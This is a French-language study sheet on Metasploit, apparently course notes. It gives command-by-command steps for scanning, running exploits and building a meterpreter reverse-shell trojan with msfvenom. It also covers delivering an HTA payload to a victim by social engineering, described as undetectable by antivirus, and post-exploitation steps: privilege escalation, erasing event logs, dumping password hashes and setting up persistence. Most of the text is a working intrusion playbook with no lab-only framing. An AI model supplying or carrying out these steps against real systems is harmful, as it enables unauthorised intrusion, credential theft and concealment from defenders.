Sylvain THIROINE

Fiche n ° 6 : Metasploit

1 – notions

Modules : modules de support tels que les exploits, les scanners, les charges utiles, etc.
Outils : outils autonomes qui faciliteront la recherche de vulnérabilités, l'évaluation des vulnérabilités ou les tests d'intrusion.
Vulnérabilité : techniques applicables ou outils pour se connecter à une faiblesse du système.
Exploit : Un exploit est une attaque qui tire parti des vulnérabilités des applications, du système d'exploitation, des réseaux ou du matériel. Les exploits se présentent généralement sous forme d'un logiciel ou d'un code dont le but est de prendre le contrôle d'un ordinateur ou de voler les données du réseau.
Payload : les payloads (ou charges utiles) sont les éléments de cyber attaques qui provoquent des dégâts. Les payloads malveillants peuvent rester en sommeil sur un ordinateur ou un réseau pendant plusieurs secondes, voire plusieurs mois, avant d'être déclenchés.

2 – les interfaces de Metasploit

Msfconsole : est l'interface la plus utilisée et aussi la plus puissante. Depuis cette interface, vous pouvez exécuter un exploit, importer un module, créer un listener, tous ce qui concerne l'attaque.

Msfvenom : est l'interface qui permet de générer des payloads, exécutables, shellcodes, apk pour les utiliser dans vos exploitations.

3 – utilisation de Metasploit

a) Préparation de l'environnement METASPLOIT

⇒ **Activation de la base de données PostgreSQL**
⇒ Commande : service postgresql start

⇒ **Contrôle de l'exécution de la base**
⇒ Commande : service postgresql status

⇒ **Créer et initialiser la base de données msf**
⇒ Commande : msfdb init

⇒ **Lancer le terminal en SU root**
⇒ Commande : su root

⇒ **Lancer l'application METASPLOIT**
⇒ Commande : msfconsole

b) Liste de tous les modules scanner qui permet de faire de la collecte d'informations

⇒ Commande : use auxiliary/scanner/

c) Recherche d'une machine Zombie pour utiliser avec NMAP

⇒ Commande : use auxiliary/scanner/ip/ipidseq
⇒ Commande : set RHOSTS ip à scanner/24
⇒ Commande : run
⇒ Si le résultat est Randomized, on peut utiliser l'adresse IP
⇒ Lancer un autre terminal
  - Commande : nmap -sI IP_spoofé IP_cilble

d) Recherche de la version SSH qui exécute le protocole secure shell

⇒ Commande : use auxiliary/scanner/ssh/ssh_version
⇒ Commande : set RHOSTS ip à scanner
⇒ Commande : run

e) Recherche de la version FTP

⇒ Commande : use auxiliary/scanner/ftp/ftp_version
⇒ Commande : set RHOSTS ip à scanner
⇒ Commande : run

f) Exploitation

⇒ **Recherche d'un exploit en fonction de la vulnérabilité**
⇒ Commande : search « nom du service vulnérable »

⇒ **Utilisation de l'exploit**
⇒ Commande : use « nom de l'exploit »

⇒ **Voir les options de l'exploit à configurer**
⇒ Commande : show options

⇒ **Configurer les options de l'exploit**
⇒ Commande : set « nom de l'option » « paramètre de l'option »

⇒ **Exécution de l'exploit**
⇒ Commande : exploit
⇒ Commande : help (pour voir les commandes à utiliser lors de la prise de contrôle)

g) Exploitation d'une machine Windows sans vulnérabilité

Utilisation de l'ingénierie sociale pour installer un Trojan.

- **Méthode 1** : le Trojan risque d'être détectable par un antivirus

⇒ **Création d'un Trojan**
⇒ Commande : ***dans le terminal root***
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe > payload.exe
  - LHOST : votre adresse IP
  - LPORT : le port d'écoute
⇒ Le faire exécuter sur la machine Windows

⇒ **Exécution de l'exploit dans Metasploit**

i. **Utilisation de l'exploit**
   ⇒ Commande : use exploit/multi/handler

ii. **Configuration du payload**
   ⇒ Commande : set payload windows/meterpreter/reverse_tcp
   ⇒ Commande : set LHOST « adresse IP de votre machine »
   ⇒ Commande : set LPORT « port d'écoute »

iii. **Exécution de l'exploit**
   ⇒ Commande : exploit

- **Méthode 2** : le Trojan n'est pas détectable par un antivirus, on vas générer un payload powershell

1. **Exécution de l'exploit dans Metasploit**

iv. **Utilisation de l'exploit**
   ⇒ Commande : use exploit/windows/misc/hta_server

v. **Configuration du payload**
   ⇒ Commande : set SRVHOST « adresse IP de votre machine »

vi. **Exécution de l'exploit**
   ⇒ Commande : exploit

vii. **Génération du lien pour l'envoie**
   ⇒ http://adresse votre IP:port d'écoute/nom du fichier.hta

viii. **Exécution du lien**
   ⇒ Envoie du lien à la cible pour qu'il soit exécuté

h) Commande meterpreter

⇒ Commande : sessions -i n° session

i. **Elevation de privilège**
   ⇒ getsystem
   ⇒ getuid

ii. **revenir aux privilèges initiaux**
   ⇒ rev2self
   ⇒ getuid

iii. **effacer le journal d'événement**
   ⇒ clearev

iv. **identification du système**
   ⇒ sysinfo

v. **identifier les processus ouverts**
   ⇒ ps

vi. **effectuer une copie d'écran**
   ⇒ screenshot

vii. **récupérer la clé de hash**
   ⇒ getuid
   ⇒ hashdump

viii. **peristance**
   ⇒ run persistance -X -i 20 -p 4444 -r votre adresse IP